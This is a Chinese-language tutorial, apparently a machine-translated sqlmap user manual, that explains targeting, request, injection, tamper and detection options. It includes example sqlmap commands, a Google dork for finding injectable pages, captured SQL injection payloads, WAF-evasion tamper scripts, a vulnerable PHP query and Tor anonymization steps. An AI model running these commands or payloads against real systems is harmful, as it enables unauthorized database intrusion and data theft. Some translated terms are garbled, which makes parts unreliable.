史上最全SQLmap注入教程


文章较长,仔细阅读

如果你是kali系统请将所有的"$ python sqlmap.py"替换为"sqlmap"如图

输出详细程度

选项: -v

此选项可用于设置输出消息的详细级别。有七个层次的冗长。默认级别为1,其中显示信息,警告,错误,关键消息和Python跟踪(如果有的话)。

  • 0:仅显示Python追溯,错误和关键消息。
  • 1:显示信息和警告信息。
  • 2:显示调试信息。
  • 3:显示注入的有效载荷。
  • 4:显示HTTP请求。
  • 5:还显示HTTP响应头。
  • 6:显示HTTP响应的页面内容。

进一步了解sqlmap在底层下做什么的合理级别是第2级,主要用于检测阶段和接管功能。而如果要查看工具发送的SQL有效负载,则级别3是您的最佳选择。当您向开发人员提供潜在的错误报告时,建议使用此级别,请确保与标准输出一起发送带有选项生成的流量日志文件-t。为了进一步调试潜在的错误或意外行为,我们建议您将详细程度设置为4级或以上。应该注意的是,还可以通过使用这个选项的较短版本来设置详细程度v内的规定开关(而不是选择)确定的详细级别(例如-v,而不是-v 2-vv代替-v 3-vvv而不是-v 4等)

目标

提供这些选项中的至少一个以设置目标。

直接连接到数据库

选项: -d

对单个数据库实例运行sqlmap。此选项接受以下格式之一的连接字符串:

  • DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_NAME (MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)
  • DBMS://DATABASE_FILEPATH (SQLite,Microsoft Access,Firebird等)

例如:

$ python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --bann\
er --dbs --users

目标网址

选项:-u--url

针对单个目标网址运行sqlmap。此选项需要以下格式的目标网址:

http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users

从Burp或WebScarab代理日志解析目标

选项: -l

而不是提供单个目标URL,可以测试和注入通过Burp代理或 WebScarab代理代理的 HTTP请求。此选项需要一个参数,它是代理的HTTP请求日志文件。

从远程站点地图(.xml)文件解析目标

选项: -x

网站地图是一个文件,其中Web管理员可以列出其网站的网页位置,以向搜索引擎通报网站内容的组织。您可以通过使用选项-x(例如-x http://www.target.com/sitemap.xml)为sqlmap提供站点地图的位置,因此可以找到可用的目标URL进行扫描。

扫描给定文本文件中的多个目标

选项: -m

提供在给定批量文件中登录的目标URL列表,sqlmap将逐个扫描每个。

作为此选项的参数提供的批量文件的示例内容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件加载HTTP请求

选项: -r

sqlmap的一个可能性是从文本文件加载原始的HTTP请求。这样,您可以跳过使用其他一些选项(例如设置Cookie,POSTed数据等)。

作为此选项的参数提供的HTTP请求文件的示例内容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求通过HTTPS,则可以将其与switch配合使用,--force-ssl以强制SSL连接到443 / tcp。或者,您可以附加到头值:443的末尾Host

将Google dork结果作为目标地址处理

选项: -g

还可以根据Google dork的结果测试和注入GET参数。

此选项使sqlmap与搜索引擎协商其会话cookie以便能够执行搜索,然后sqlmap将使用GET参数为Google dork表达式检索Google的前100个结果,询问您是否要测试并注入每个可能的受影响的URL 。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

从配置INI文件加载选项

选项: -c

例如,可以从配置INI文件传递用户的选项sqlmap.conf

请注意,如果您从命令行提供其他选项,那么在运行sqlmap并评估配置文件中提供的选项时,会进行评估。

请求

这些选项可用于指定如何连接到目标URL。

HTTP方法

选项: --method

sqlmap自动检测HTTP请求中使用的正确的HTTP方法。然而,在某些情况下,需要强制使用PUT自动化不使用的特定HTTP方法(例如)。使用此选项可以使用(例如--method=PUT)。

HTTP数据

选项: --data

默认情况下,用于执行HTTP请求的HTTP方法是GET,但您可以通过提供要在POST请求中发送的数据来将其更改为POST。这些数据是这些参数,用于SQL注入以及任何提供的GET参数。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users

参数分割字符

选项: --param-del

有些情况下,&需要覆盖默认参数分隔符(例如GET和POST数据),以便sqlmap能够分别正确拆分和处理每个参数。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users

HTTP Cookie标头

选项和开关:--cookie--cookie-del--load-cookies--drop-set-cookie

这些选项和开关可用于两种情况:

  • Web应用程序需要基于Cookie进行身份验证,并且您拥有此类数据。
  • 你想要检测和利用SQL注入这样的头值。

无论是什么原因,您都需要发送带有sqlmap请求的cookie,请执行以下步骤:

  • 使用您最喜欢的浏览器登录到应用程序。
  • 从浏览器的首选项或HTTP代理屏幕获取HTTP Cookie,并复制到剪贴板。
  • 回到你的shell并通过粘贴你的剪贴板作为选项的值来运行sqlmap --cookie

请注意,HTTP Cookie标头值通常由;字符分隔,而不是由字符分隔&。sqlmap可以将它们识别为单独的集合parameter=value,以及GET和POST参数。如果分离字符不是;可以通过使用选项指定的--cookie-del

如果在通信过程中的任何时候,Web应用程序Set-Cookie会使用头文件进行响应,sqlmap会自动将所有其他HTTP请求中的值用作Cookie头。sqlmap还将自动测试这些值以进行SQL注入。这可以通过提供交换机来避免--drop-set-cookie- sqlmap将忽略任何未来的Set-Cookie头。

反之亦然,如果您提供HTTP Cookie标头与选项--cookie,并且目标URL Set-Cookie随时发送HTTP 标头,sqlmap将询问您使用哪组Cookie用于以下HTTP请求。

还有一个选项--load-cookies可用于提供包含Netscape / wget格式的Cookie的特殊文件。

请注意,如果将HTTP Cookie标头--level设置为2或更高版本,则还将针对SQL注入测试HTTP 标头。详情请参阅下文。

HTTP User-Agent标头

选项和开关:--user-agent--random-agent

默认情况下,sqlmap使用以下User-Agent头值执行HTTP请求:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,--user-agent通过提供自定义User-Agent作为选项的参数,可以通过该选项来伪造它。

此外,通过提供交换机--random-agent,sqlmap将从文本文件中随机选择一个User-Agent./txt/user-agents.txt并将其用于会话中的所有HTTP请求。

一些站点执行HTTP User-Agent头值的服务器端检查,如果User-Agent没有提供有效的HTTP值响应,其值不是预期的或由Web应用程序防火墙或类似的入侵防御系统列入黑名单,则HTTP响应失败。在这种情况下,sqlmap将显示如下消息:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

请注意,User-Agent如果--level设置为3或更高版本,则还将针对SQL注入测试HTTP 标头。详情请参阅下文。

HTTP Host标头

选项: --host

您可以手动设置HTTP Host头值。默认情况下,HTTP Host头将从提供的目标URL进行解析。

请注意,如果HTTP Host标头--level设置为5,那么HTTP 标头也将针对SQL注入进行测试。详情请参阅下文。

HTTP Referer标头

选项: --referer

可以伪造HTTP Referer头值。默认情况下,没有 HTTP Referer报头在HTTP请求发送,如果没有明确设定。

请注意,Referer如果--level设置为3或更高版本,则还将针对SQL注入测试HTTP 标头。详情请参阅下文。

额外的HTTP标头

选项: --headers

可以通过设置选项来提供额外的HTTP头--headers。每个标题必须用换行符分开,并且从配置INI文件中更容易地提供它们。您可以查看样例sqlmap.conf文件的情况。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

HTTP协议认证

选项:--auth-type--auth-cred

这些选项可用于指定哪些HTTP协议身份验证后端Web服务器实现,以及用于对目标应用程序执行所有HTTP请求的有效凭据。

三种支持的HTTP协议认证机制有:

  • Basic
  • Digest
  • NTLM

虽然凭据的语法是username:password

有效语法示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议私钥认证

选项: --auth-file

在Web服务器需要适当的客户端证书和用于验证的私钥的情况下,应使用此选项。提供的值应该是key_file包含您的证书和私钥的PEM格式化的值。

忽略HTTP错误401(未经授权)

开关 --ignore-401

如果您想要测试站点偶尔返回HTTP错误401(未经授权),当您想忽略它并继续测试而不提供正确的凭据时,可以使用开关 --ignore-401

HTTP(S)代理

选项和开关:--proxy--proxy-cred--proxy-file--ignore-proxy

可以提供HTTP(S)代理地址以通过HTTP(S)请求传递到具有选项的目标URL --proxy。HTTP(S)代理值的语法是http://url:port

如果HTTP(S)代理需要身份验证,则可以username:password以该选项的格式提供凭据--proxy-cred

如果您想使用(一次性)代理列表,--proxy-file则可以通过提供包含批量代理列表的文件的文件名来跳过连接问题的任何符号(例如阻止侵入式IP地址)的下一个代理。

--ignore-proxy当您希望通过忽略全系统设置的HTTP(S)代理服务器设置来对局域网的目标部分运行sqlmap时,应使用交换机。

Tor匿名网络

开关和选项:--tor--tor-port--tor-type--check-tor

如果由于任何原因,您需要保持匿名,而不是通过单个预定义的HTTP(S)代理服务器,您可以按照Tor安装指南中的说明在机器上配置Tor客户端Privoxy(或类似的)。那么你可以使用一个开关,sqlmap会尝试自动设置Tor代理连接设置。--tor

如果要手动设置Tor代理的类型和端口,可以使用选项--tor-type--tor-port(例如--tor-type=SOCKS5 --tor-port 9050)来实现。

强烈建议您--check-tor偶尔使用以确保所有内容都正确设置。有些情况下,Tor捆绑(例如Vidalia)配置错误(或重置以前设置的配置),给您一个错误的匿名感。使用此开关sqlmap将通过向官员发送单个请求来检查一切是否按预期运行是否使用Tor?任何目标请求之前的页面。如果检查失败,sqlmap将警告您并突然退出。

每个HTTP请求之间延迟

选项: --delay

可以指定在每个HTTP(S)请求之间保持的秒数。有效值是浮点数,例如0.5意味着半秒。缺省情况下,没有设置延迟。

秒等待超时连接

选项: --timeout

在考虑HTTP(S)请求超时之前,可以指定等待的秒数。有效值为浮点数,例如10.5表示10秒半。默认设置30秒

HTTP连接超时时的最大重试次数

选项: --retries

当HTTP(S)连接超时时,可以指定最大重试次数。默认情况下,它重试次数最多三次

随机更改给定参数的值

选项: --randomize

可以指定要在每个请求期间随机更改其值的参数名称。根据提供的原始值保存长度和类型。

使用正则表达式从提供的代理日志过滤目标

选项: --scope

而不是使用从提供的日志解析的所有主机与选项-l,您可以指定用于过滤所需的有效的Python正则表达式。

有效语法示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免您的会话在太多不成功的请求后被销毁

选项:--safe-url--safe-post--safe-req--safe-freq

如果执行了一定数量的不成功请求,有时Web应用程序或检查技术会破坏会话。这可能发生在sqlmap的检测阶段,或者当它利用任何一种盲目的SQL注入类型时。为什么SQL有效负载不一定会返回输出,因此可能会引发应用程序会话管理或检查技术的信号。

要绕过目标设置的限制,您可以提供任何(或组合)选项:

  • --safe-url:测试过程中经常访问的URL地址。
  • --safe-post:HTTP POST数据发送给给定的安全URL地址。
  • --safe-req:从文件加载和使用安全的HTTP请求。
  • --safe-freq:在给定安全位置的两次访问之间测试请求。

这样,sqlmap将访问每个预定义数量的请求一个安全的 URL,而不执行任何类型的注入。

关闭参数值的URL编码

开关: --skip-urlencode

根据参数放置(例如GET),其值可以默认为URL编码。在某些情况下,后端Web服务器不遵循RFC标准,并要求以原始非编码形式发送值。使用--skip-urlencode这些类型的案件。

绕过反CSRF保护

选项:--csrf-token--csrf-url

许多网站采用令牌形式的反CSRF保护,每个页面响应中随机设置隐藏的字段值。SqlMap的会自动尝试识别并绕过这种保护,但也有选项--csrf-token,并--csrf-url可以用来进一步微调它。选项--csrf-token可用于设置包含随机化标记的隐藏值的名称。当网站使用这些字段的非标准名称时,这是非常有用的。选项--csrf-url可用于从任意URL地址检索令牌值。如果易受攻击的目标网址首先不包含必需的令牌值,但是需要从某个其他位置提取该值,这将非常有用。

强制使用SSL / HTTPS

开关: --force-ssl

如果用户想强制向目标使用SSL / HTTPS请求,他可以使用此开关。在通过使用选项收集网址--crawl或在Burp日志提供选项时,这可能很有用-l

在每个请求期间评估自定义python代码

选项: --eval

如果用户想要更改(或添加新的)参数值,最可能是因为一些已知的依赖关系,他可以向sqlmap提供一个自定义的python代码,其中的选项--eval将在每个请求之前进行评估。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

这种运行的每个请求将重新评估GET参数的值,hash以包含当前参数值的新MD5哈希摘要id

优化

这些交换机可以用来优化sqlmap的性能。

捆绑优化

开关: -o

此开关是一个隐式设置以下选项和开关的别名:

  • --keep-alive
  • --null-connection
  • --threads=3 如果没有设置为较高的值。

阅读下面有关每个开关的详细信息。

输出预测

开关: --predict-output

该开关用于推断算法,用于顺序统计预测正在检索的值的字符。具有最有希望的字符值的统计表正在基于所使用的项目构建,txt/common-outputs.txt结合使用的当前枚举的知识。如果可以在公共输出值中找到该值,则随着进程的进行,后续字符表被越来越窄。如果与公共DBMS实体的检索结合使用,与系统表名和权限一样,加速很重要。当然,您可以根据需要编辑公共输出文件,例如,如果您注意到数据库表名或类似文件中的常见模式。

请注意,此开关与--threads开关不兼容。

HTTP Keep-Alive

开关: --keep-alive

此交换机指示sqlmap使用持久的HTTP(s)连接。

请注意,此开关与--proxy开关不兼容。

HTTP NULL连接

开关: --null-connection

有特殊的HTTP请求类型可以用来检索HTTP响应的大小,而不会得到HTTP主体。这种知识可以在盲目注射技术被用来区分True来自False响应。当提供此开关时,sqlmap将尝试测试和利用两种不同的NULL连接技术:RangeHEAD。如果目标Web服务器支持其中任何一个,加速将来自明显的使用带宽的保存。

这些技术在白皮书“ Blind SQL Injection - Take 2(Bandwidth)Blasting Performances”中有详细介绍。

请注意,此开关与开关不兼容--text-only

并发HTTP(S)请求

选项: --threads

可以指定允许执行sqlmap的并发HTTP(S)请求的最大数量。此功能依赖于多线程概念,并继承其专业及其缺点。

此功能适用于强力开关,并且通过任何盲目SQL注入技术完成数据提取。对于后一种情况,sqlmap首先计算单个线程中查询输出的长度,然后启动多线程。每个线程被分配以检索查询输出的一个字符。当检索到该字符时,线程结束 - 在sqlmap中实现的二分法算法最多需要7个HTTP(S)请求。

由于性能和站点可靠性原因,最大并发请求数设置为10

请注意,此选项与开关不兼容--predict-output

注射

这些选项可用于指定要测试的参数,提供自定义注入有效载荷和可选的篡改脚本。

可测试参数

选项:-p--skip--param-exclude

默认情况下,sqlmap测试所有GET参数和POST参数。当值--level> = 2时,它也测试HTTP Cookie头值。当此值为> = 3时,它还会测试SQL注入的HTTP User-Agent和HTTP Referer头值。但是可以手动指定要让sqlmap测试的参数的逗号分隔列表。这将绕过对价值的依赖--level

例如,要测试GET参数idUser-Agent仅HTTP ,请提供-p "id,user-agent"

如果用户想要从测试中排除某些参数,他可以使用选项--skip。当您希望使用更高的值--level并测试所有可用参数(不包括通常正在测试的HTTP标头)时,这一点尤其有用。

例如,跳过测试HTTP标头User-Agent和HTTP头Referer--level=5,提供--skip="user-agent,referer"

还可以根据在其名称上运行的正则表达式来排除某些参数的测试。在这种情况下,用户可以使用选项--param-exclude

例如,要跳过包含字符串token或其session名称的参数的测试,请提供--param-exclude="token|session"

URI注入点

当注入点在URI本身内时,有特殊情况。除非手动指向,否则sqlmap不会对URI路径执行任何自动测试。您必须通过在希望sqlmap测试和利用SQL注入的每个URI点之后附加一个星号(*)(注意:%INJECT HERE%还支持Havij样式)在命令行中指定这些注入点。

这在Apache Web服务器的mod_rewrite模块正在使用或其他类似的技术中尤其有用。

有效命令行的一个例子是:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意注入点

类似于URI注入点,星号(*)(注意:Havij样式%INJECT HERE%也被支持)也可以用于指向GET,POST或HTTP头中的任意注入点。注射点可以通过标记它设置有选项的GET参数值(一个或多个)内指定-u,POST参数值(一个或多个)提供选项--data,设置有选择HTTP标头值(S) ,-H,,--headers 和/或,或在通用处内部HTTP请求从文件加载选项。--user-agent--referer--cookie-r

有效命令行的一个例子是:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

强制DBMS

选项: --dbms

默认情况下,sqlmap会自动检测Web应用程序的后端数据库管理系统。sqlmap完全支持以下数据库管理系统:

  • MySQL的
  • 神谕
  • PostgreSQL的
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite的
  • 火鸟
  • SYBASE
  • SAP MaxDB
  • HSQLDB
  • Informix的

如果出于任何原因,一旦识别到SQL注入,sqlmap将无法检测到后端DBMS,或者如果要避免有效的指纹,则可以自己提供后端DBMS的名称(例如postgresql)。对于MySQL和Microsoft SQL Server,它们分别以DBMS 的形式MySQL <version>Microsoft SQL Server <version>位置在哪里<version>提供; 例如5.0对于MySQL和2005Microsoft SQL Server。

如果您--fingerprint一起提供--dbms,sqlmap将仅对指定的数据库管理系统执行广泛的指纹,请阅读下面的详细信息。

请注意,此选项不是强制性的,因此强烈建议仅在您确定后端数据库管理系统时才使用该选项。如果你不知道,让sqlmap自动为你指纹。

强制数据库管理系统操作系统名称

选项: --os

默认情况下,当这些信息是任何其他提供的交换机或选项的依赖时,sqlmap会自动检测Web应用程序的底层操作系统的后端数据库管理系统。目前完全支持的操作系统是:

  • Linux的
  • 视窗

如果您已经知道操作系统名称,那么可以强制执行该操作系统名称,以便sqlmap将自动避免这样做。

请注意,此选项不是强制性的,因此强烈建议仅在您确信底层操作系统的后端数据库管理系统时才能使用该选项。如果你不知道,让sqlmap自动识别它。

强制使用大数字使值无效

开关: --invalid-bignum

如果sqlmap需要使原始参数值无效(例如id=13),则使用经典否定(例如id=-13)。使用此开关可以强制使用大整数值来实现相同的目标(例如id=99999999)。

强制使用逻辑操作使值无效

开关: --invalid-logical

如果sqlmap需要使原始参数值无效(例如id=13),则使用经典否定(例如id=-13)。使用此开关可以强制使用布尔运算来实现相同的目标(例如id=13 AND 18=19)。

强制使用随机字符串使值无效

开关: --invalid-string

如果sqlmap需要使原始参数值无效(例如id=13),则使用经典否定(例如id=-13)。使用此开关可以强制使用随机字符串来实现相同的目标(例如id=akewmc)。

关闭有效载荷铸造机构

开关: --no-cast

在检索结果时,sqlmap使用一种机制,其中所有条目都被转换为字符串类型,并在NULL值的情况下用空格字符替换。这是为了防止任何错误的状态(例如,连接NULL字符串值的值),并且易于数据检索过程本身。然而,有报告的情况(例如MySQL DBMS的旧版本),由于数据检索本身存在问题(例如None返回值),需要关闭此机制(使用此开关)。

关闭字符串转义机制

开关: --no-escape

如果sqlmap需要在有效负载(例如SELECT 'foobar')中使用(单引号分隔)字符串值,则这些值将自动转义(例如SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))。这是因为有两件事情:对有效载荷内容进行模糊处理,并防止后端服务器上的查询转义机制(例如magic_quotes和/或mysql_real_escape_string)的潜在问题。用户可以使用此开关将其关闭(例如,以减少有效载荷大小)。

定制注射载荷

选项:--prefix--suffix

在某些情况下,仅当用户提供要附加到注入有效负载的特定后缀时,才能利用易受攻击的参数。当用户已经知道查询语法并希望通过直接提供注入有效载荷前缀和后缀来检测和利用SQL注入时,这些选项很方便的另一种情况表现在本身。

漏洞源代码示例:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

要检测和利用此SQL注入,您可以让sqlmap在检测阶段检测边界(如同SQL负载前缀和后缀的组合),或者自己提供它们。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

这将导致所有sqlmap请求最终在查询中如下所示:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

这使得查询语法正确。

在这个简单的例子中,sqlmap可以检测SQL注入并利用它,而不需要提供自定义边界,但是有时在实际应用中,当注入点在嵌套JOIN查询中时,需要提供它。

篡改注射数据

选项: --tamper

sqlmap本身没有发送有效载荷的混淆,除了单引号之间的字符串替换为它们的CHAR()--alike表示。

在您和后端数据库管理系统之间存在弱输入验证机制的情况下,此选项可能非常有用和强大。这种机制通常是由应用程序源代码,昂贵的企业级IPS设备或Web应用程序防火墙(WAF)调用的自行开发的输入验证例程。所有的流行语通常用来定义相同的概念,以不同的方式实现并花费大量资金。

要利用此选项,请为sqlmap提供逗号分隔的篡改脚本列表,这将处理有效负载并将其转换。您可以定义自己的篡改脚本,使用tamper/文件夹中的sqlmap 文件夹或只要将逗号分隔为选项值--tamper(例如--tamper="between,randomcase")将其编辑即可。

有效的篡改脚本的格式如下:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以在tamper/目录中检查有效和可用的篡改脚本。

假设禁止使用>字符,空格和大写SELECT字符串的MySQL对象示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[...]

发现

这些选项可用于自定义检测阶段。

水平

选项: --level

此选项需要一个参数,该参数指定要执行的测试级别。有五个级别。默认值为1,执行有限的测试(请求)数量。反之亦然,级别5将详细测试更多数量的有效载荷和边界(如在SQL有效负载前缀和后缀对中)。sqlmap使用的有效内容在文本文件中指定xml/payloads.xml。按照文件顶部的说明,如果sqlmap错过了注入,您应该可以添加自己的有效载荷来测试!

不仅此选项影响了sqlmap的有效负载,还考虑了哪些注入点:GET和POST参数始终被测试,HTTP Cookie头值从第2级测试,HTTP User-Agent / Referer头的值从3级。

总而言之,检测SQL注入越困难,--level必须设置的越高。

在向邮件列表报告sqlmap无法检测到某个注入点之前,强烈建议更高此值。

风险

选项: --risk

此选项需要一个参数,该参数指定测试执行的风险。有三个风险值。默认值为1,对于大多数SQL注入点是无害的。风险值2增加了基于重查询时间的SQL注入和值3 OR的测试,还添加了基于SQL的注入测试。

在某些情况下,像UPDATE语句中的SQL注入一样,注入一个OR有效载荷可以导致表的所有条目的更新,这当然不是攻击者想要的。由于这个原因和其他原因,此选项已经被引入:用户可以控制哪些有效负载被测试,用户可以随意选择使用也是潜在的危险的。根据上一个选项,sqlmap使用的有效内容在文本文件中指定xml/payloads.xml,您可以自由编辑和添加自己的文件。

页面比较

选项:--string--not-string--regexp--code

默认情况下,通过将注入的请求页面内容与原始未注入的页面内容进行比较,完成了True查询与一个查询False(基于布尔型盲目SQL注入漏洞的粗略概念)的区别。并不总是这个概念有效,因为有时页面内容在每次刷新时都会发生变化,即使没有注入任何东西,例如当页面具有计数器,动态广告横幅或动态呈现的HTML的任何其他部分,并且可能会在时间上改变从而对用户的输入。为了绕过此限制,sqlmap会尝试识别响应实体的这些代码段,并进行相应的处理。有时,它可能会失败,这就是为什么用户可以提供一个字符串(--string选项),这应该存在于原始页面(尽管不是要求)所有True注入的查询页面,但它不在 False的页面上。而不是静态字符串,用户可以提供一个正则表达式(--regexp选项)。或者,用户可以提供一个字符串(--not-string选项),它存在于原始页面上,不是所有True注入的查询页面上,但始终显示在False的页面上。

这样的数据可以方便用户检索,只需尝试将受影响的参数注入无效值,并将原始(未注入)页面内容与注入的错误页面内容进行手动比较。这种区分将基于字符串存在或正则表达式匹配。

在用户知道可以使用HTTP代码(例如for 和for )对True查询进行区分的情况下,他可以将该信息提供给sqlmap(例如)。False200True401False--code=200

开关:--text-only--titles

在用户知道使用HTML标题(例如for 和for )来True查询查询的区别的情况下,他可以使用switch来打开基于标题的比较。FalseWelcomeTrueForbiddenFalse--titles

在HTTP响应主体中有很多活动内容(例如脚本,嵌入等)的情况下,您可以--text-only仅为其文本内容过滤页面(切换)。这样,在很多情况下,您可以自动调整检测引擎。

技术

这些选项可用于调整特定SQL注入技术的测试。

SQL注入技术来测试

选项: --technique

此选项可用于指定要测试的SQL注入类型。默认情况下sqlmap测试所有类型/技术。

在某些情况下,您可能只想测试一种或几种特定类型的SQL注入思想,这是该选项的发挥。

此选项需要一个参数。这种参数是一个通过的任何组合组成的字符串BEUSTQ字符,其中每个字母代表一种不同的技术:

  • B:基于布尔的盲
  • E:基于错误
  • U:基于联合查询
  • S:堆叠查询
  • T:基于时间的盲人
  • Q:内联查询

例如,ES如果您想要测试和利用基于错误的堆栈查询SQL注入类型,您可以提供。默认值为BEUSTQ

请注意,字符串必须包括堆叠查询技术字母,S当您要访问文件系统时,接管操作系统或访问Windows注册表配置单元。

二次延迟DBMS对基于时间的盲目SQL注入的响应

选项: --time-sec

通过提供--time-sec后跟整数的选项,可以在测试基于时间的盲目SQL注入时设置秒钟来延迟响应。默认值为5秒

UNION查询SQL注入中的列数

选项: --union-cols

默认sqlmap测试为UNION查询SQL注入技术使用1到10列。但是,该范围可以通过提供更高的高达50列--level值。有关详细信息,请参阅相关段落。

您可以手动告诉sqlmap通过提供具有--union-cols一定范围的整数的选项来测试具有特定范围的列的这种类型的SQL注入。例如,12-16意味着通过使用12个最多16列来测试UNION查询SQL注入。

用于测试UNION查询SQL注入的字符

选项: --union-char

默认sqlmap测试为UNION查询SQL注入技术使用NULL字符。然而,通过提供更高的--level值sqlmap将执行测试也随机数,因为有一些角色的情况下,UNION查询测试NULL失败,而随机整数,他们成功。

您可以手动告诉sqlmap通过使用--union-char具有所需字符值的选项(例如--union-char 123)来测试具有特定字符的此类型的SQL注入。

表用于FROM部分UNION查询SQL注入

选项: --union-from

在一些UNION查询SQL注入案例中,需要强制使用有效且可访问的表名称在FROM子句中。例如,Microsoft Access需要使用此类表。不提供一个UNION查询SQL注入将无法正常执行(例如--union-from=users)。

DNS exfiltration攻击

选项: --dns-domain

